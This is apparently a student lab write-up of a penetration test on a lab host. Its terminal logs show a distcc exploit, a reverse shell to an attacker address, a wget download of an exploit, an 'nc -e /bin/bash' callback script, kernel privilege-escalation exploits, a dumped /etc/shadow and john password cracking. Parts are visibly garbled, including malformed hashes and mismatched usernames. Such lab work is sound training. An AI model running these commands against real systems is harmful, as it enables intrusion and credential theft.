

Lab10

Step 1

```
File Actions Edit View Help
--(kali@kali)-[~]
$ searchsploit daemon command execution
Exploit Title | Path
---|---
BlitMover BitKeeper 3.0 - Daemon Mode Remote Command Execution | multiple/remote/22145.txt
DD-WRT HTTPD Daemon/Service - Arbitrary Command Execution (Metasploit) | cgi/webapps/16856.rb
DD-WRT HTTPD Daemon/Service - Remote Command Execution | hardware/remote/9209.txt
DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
Zenoss 3 - show daemon XMLConfig Command Execution (Metasploit) | unix/remote/28205.rb
Shellcodes: No Results

--(kali@kali)-[~]
$ searchsploit -- /multiple/remote/9915.rb
Exploit: DistCC Daemon - Command Execution (Metasploit)
URL: https://www.exploit-db.com/exploits/9915
Path: /usr/share/exploitdb/exploits/multiple/remote/9915.rb
Codes: CVE-2004-2687, OSVDB-13378
Verified: True
File Type: Ruby script, ASCII text
cp: overwrite '/home/kali/9915.rb'? no
Copied to: /home/kali/9915.rb

--(kali@kali)-[~]
$ nmap -p 3632 10.10.4.5-40 --script distcc-cve2004-2687 --script-args "distcc-cve2004-2687.cmd='id'"
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-20 07:15 EDT
Nmap scan report for Toyota_Corolla.cyberlab.test (10.10.4.10)
Host is up (0.0043s latency).

PORT      STATE SERVICE
3632/tcp  closed distccd
MAC Address: 08:15:5D:7C:56:0F (Microsoft)

Nmap scan report for Toyota_Carina.cyberlab.test (10.10.4.20)
Host is up (0.0045s latency).

PORT      STATE SERVICE
3632/tcp  open  distccd
| distcc-cve2004-2687:
| VULNERABLE:
|   distcc Daemon Command Execution
|   State: VULNERABLE (Exploitable)
|   IDS: CVE-CVE-2004-2687
|   Risk factor: high. CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|   Allows executing of arbitrary commands on systems running distccd 3.1 and
|   earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|   uid:(daemon) gid:(daemon) groups:(daemon)
|
| References:
|   https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|   https://distcc.github.io/security.html
|
| MAC Address: 08:15:5D:7C:56:0E (Microsoft)

Nmap scan report for Toyota_Yaris.cyberlab.test (10.10.4.30)
Host is up (0.00008s latency).

PORT      STATE SERVICE
3632/tcp  filtered distccd
MAC Address: 08:15:5D:7C:56:0D (Microsoft)

Nmap scan report for 10.10.4.35

--(kali@kali)-[~]
$ msf6 exploit(multi/multi/distcc_exe) > exploit
[*] 10.10.4.20:3632 - The target is vulnerable.
msf6 exploit(multi/multi/distcc_exe) > exploit
[*] Started reverse TCP handler on 10.10.4.131:4444
[*] 10.10.4.20:3632 - stderr: bash: 190: Bad file descriptor
[*] 10.10.4.20:3632 - stderr: bash: /dev/tcp/10.10.4.131/4444: No such file or directory
[*] 10.10.4.20:3632 - stderr: bash: 190: Bad file descriptor
[*] Exploit completed, but no session was created.
msf6 exploit(multi/multi/distcc_exe) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/multi/distcc_exe) > check
[*] 10.10.4.20:3632 - The target is vulnerable.
msf6 exploit(multi/multi/distcc_exe) > exploit
[*] Started reverse TCP double handler on 10.10.4.131:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo akbpv0z7hn1ad09;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] A: 'sh: line 3: Escape: command not found\r\n'
[*] B is input...
[*] Command shell session 1 opened (10.10.4.131:4444 -> 10.10.4.20:49956) at 2025-03-20 07:18:57 -0400

Shell Banner:
akbpv0z7hn1ad09

--
whois
sh: line 7: whois: command not found
id
uid:(daemon) gid:(daemon) groups:(daemon)
sysinfo
sh: line 9: sysinfo: command not found
ifconfig
sh: line 10: ifconfig: command not found
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:15:5d:7c:56:0e
          inet addr:10.10.4.20  Bcast:10.10.4.255  Mask:255.255.255.0
          inet6 addr: fe80::215:5dff:fe7c:560e/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1151862 errors:0 dropped:6288 overruns:0 frame:0
          TX packets:858224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:148557878 (141.6 MB)  TX bytes:140692623 (134.1 MB)
          Interrupt:9 Base address:0xec00

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1605158 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1605158 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:785319925 (748.9 MB)  TX bytes:785319925 (748.9 MB)

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/os-release
cat: /etc/os-release: No such file or directory
netstat -tln
sh: line 15: netstat: command not found
netstat -tln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:0:0:0:0:0:0:0:0  0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:0:0:0:0:0:0:0:0  0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:0:0:0:0:0:0:0:0  0.0.0.0:*               LISTEN
```

Step2 Enumeration

```
2.6.24-16-server
udevadm --version
117
```

Step 3. Privilege Escalation

```
kali@kali:~$ sudo msf6 post(windows/gather/enum_browsers) > exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf6 post(windows/gather/enum_browsers) > sessions
Active sessions
--
Id  Name  Type  Information  Connection
--
1   shell cmd/unix  10.10.4.131:4444 -> 10.10.4.20:41501 (10.10.4.20)

msf6 post(windows/gather/enum_browsers) > sessions -i 1
[*] Starting interaction with 1...

id
uid:1(daemon) gid:1(daemon) groups:1(daemon)
wget http://10.10.4.131:8000/jaakko.c
--05:29:53-- http://10.10.4.131:8000/jaakko.c
           => jaakko.c
Connecting to 10.10.4.131:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,770 (2.7K) [text/x-csrc]

  OK ..                               100%  2.22 MB/s

05:29:53 (2.22 MB/s) - 'jaakko.c' saved [2770/2770]

ls -l
total 12
-rw-r--r-- 1 tomcat55 nogroup  0 Jul 14  2024 5392.jsvc_up
drwxr-xr-x 2 msfadmin msfadmin 4096 Apr 24 06:25 gconfd-msfadmin
-rw-r--r-- 1 daemon  daemon  2770 Mar 27 03:51 jaakko.c
drwxr-xr-x 2 msfadmin msfadmin 4096 Apr 24 06:25 orbit-msfadmin
gcc -o jaakkoc jaakko.c
ls -l
total 24
-rw-r--r-- 1 tomcat55 nogroup  0 Jul 14  2024 5392.jsvc_up
drwxr-xr-x 2 msfadmin msfadmin 4096 Apr 24 06:25 gconfd-msfadmin
-rw-r--r-- 1 daemon  daemon  2770 Mar 27 03:51 jaakko.c
-rwxr-xr-x 1 daemon  daemon  8652 Apr 25 05:31 jaakkoc
drwxr-xr-x 2 msfadmin msfadmin 4096 Apr 24 06:25 orbit-msfadmin
touch jaakko
echo "#!/bin/bash" >> jaakko
exho "nc 10.10.4.131 9999 -e /bin/bash" >> jaakko
sh: line 173: exho: command not found
echo "nc 10.10.4.131 9999 -e /bin/bash" >> jaakko
cat jaakko
#!/bin/bash
nc 10.10.4.131 9999 -e /bin/bash
```

```
kali@kali:~$ searchsploit linux/local/5093.c
Exploit Title | Path
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplce' Local Privilege Escalatio | linux/local/5093.c

Shellcodes: No Results

kali@kali:~$ cp /linux/local/5093.c /home/kali/
cp: cannot stat '/linux/local/5093.c': No such file or directory

kali@kali:~$ cp ~/linux/local/5093.c /home/kali/
cp: cannot stat '/home/kali/linux/local/5093.c': No such file or directory

kali@kali:~$ cp /usr/share/exploitdb/linux/local/5093.c /home/kali/
cp: cannot stat '/usr/share/exploitdb/linux/local/5093.c': No such file or directory

kali@kali:~$ locate 5093.c
/usr/share/exploitdb/exploits/linux/local/5093.c

kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/5093.c /home/kali/

kali@kali:~$ searchsploit exploits/linux/local/8572.c
Exploit: Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)
URL: https://www.exploit-db.com/exploits/8572
Path: /usr/share/exploitdb/exploits/linux/local/8572.c
Codes: OSVDB-53810, CVE-2009-1105
Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/8572.c

kali@kali:~$ ls
8572.c  8915.rb  Documents  jaakko.c  Pictures  Templates
5093.c  9083.c  Desktop  Downloads  Music     Public     Videos

kali@kali:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <ETHERNET,MTU_CAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:37:5e:b9 brd ff:ff:ff:ff:ff:ff
    inet 10.10.4.131/24 brd 10.10.4.255 scope global dynamic noprefixroute eth0
        valid_lft 608448sec preferred_lft 608448sec
    inet6 fe80::777a:c1e4:bd16:8bdc/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Step 4 Get Hashdump

```
File Actions Edit View Help
[+] Started reverse TCP double handler on 10.10.4.131:4444
[+] Accepted the first client connection...
[+] Accepted the second client connection...
[+] Command: echo UGfDf23gD3dtn;
[+] Writing to socket A
[+] Writing to socket B
[+] Reading from sockets ...
[+] B: "UGfDf23gD3dtnA"
[+] Matching ...
[+] A is input...
[+] Command shell session 9 opened (10.10.4.131:4444 -> 10.10.4.204:3993) at 2025-03-27 05:40:41 -0400
j0akK0c 3263

File Actions Edit View Help
[~(kali@kali):~]
$ nc -l -p 9999
listening on [any] 9999 ...
connect to [10.10.4.131] from (UNKNOWN) [10.10.4.20] 3468a
id
uid=(root) gid=(root)
whoami
root
cat /etc/shadow
root:$1$avpFBJ$48z8w6uF92v./J09PEPLid.:14742:0:99999:7:::
daemon:*1468a:0:99999:7:::
bin:*1468a:0:99999:7:::
sys:$1$1680801$41c3jup0u2q4c4swD010:14742:0:99999:7:::
sync:*1468a:0:99999:7:::
games:*1468a:0:99999:7:::
snort:*1468a:0:99999:7:::
lp:*1468a:0:99999:7:::
mail:*1468a:0:99999:7:::
news:*1468a:0:99999:7:::
uucp:*1468a:0:99999:7:::
proxy:*1468a:0:99999:7:::
www:*1468a:0:99999:7:::
backupt:*1468a:0:99999:7:::
irc:*1468a:0:99999:7:::
gnats:*1468a:0:99999:7:::
nobody:*1468a:0:99999:7:::
libonid:*1468a:0:99999:7:::
dhcpi:*1468a:0:99999:7:::
syslog:*1468a:0:99999:7:::
king:$1$172Wm4a48v4a1.com.comdUEKX9j4p0:14742:0:99999:7:::
smbd:*1468a:0:99999:7:::
mFamin:$1$N182J58472x2W3mt1MA.18ZJ45:/1468a:0:99999:7:::
bind:*1468a:0:99999:7:::
postfix:*14685:0:99999:7:::
ftp:*14685:0:99999:7:::
postgres:$1$W451k.*$MqgZhu05p4u0v20fcy0:/14685:0:99999:7:::
mysql:$1$4685:0:99999:7:::
tomcat55:*14685:0:99999:7:::
distccd:*14680:0:99999:7:::
user:$1$65v4rm$4..30v10m410m4Pmg20:14680:0:99999:7:::
service:$1$468m7231k411h4w50m4c.32m0//14715:0:99999:7:::
tailnetd:*14715:0:99999:7:::
profpd:*14727:0:99999:7:::
static:*14741:0:99999:7:::
```

Step 5 Password Cracking

```
(kali@kali)-[~]
$ john --wordlist=/usr/share/john/password.lst hashdump.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789 (klog)
batman (sys)
service (service)
Bg 0:00:00:00 DONE (2025-03-27 05:14) 42.85g/s 50657p/s 210857c/s 210857C/s !0#%$.
.sss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```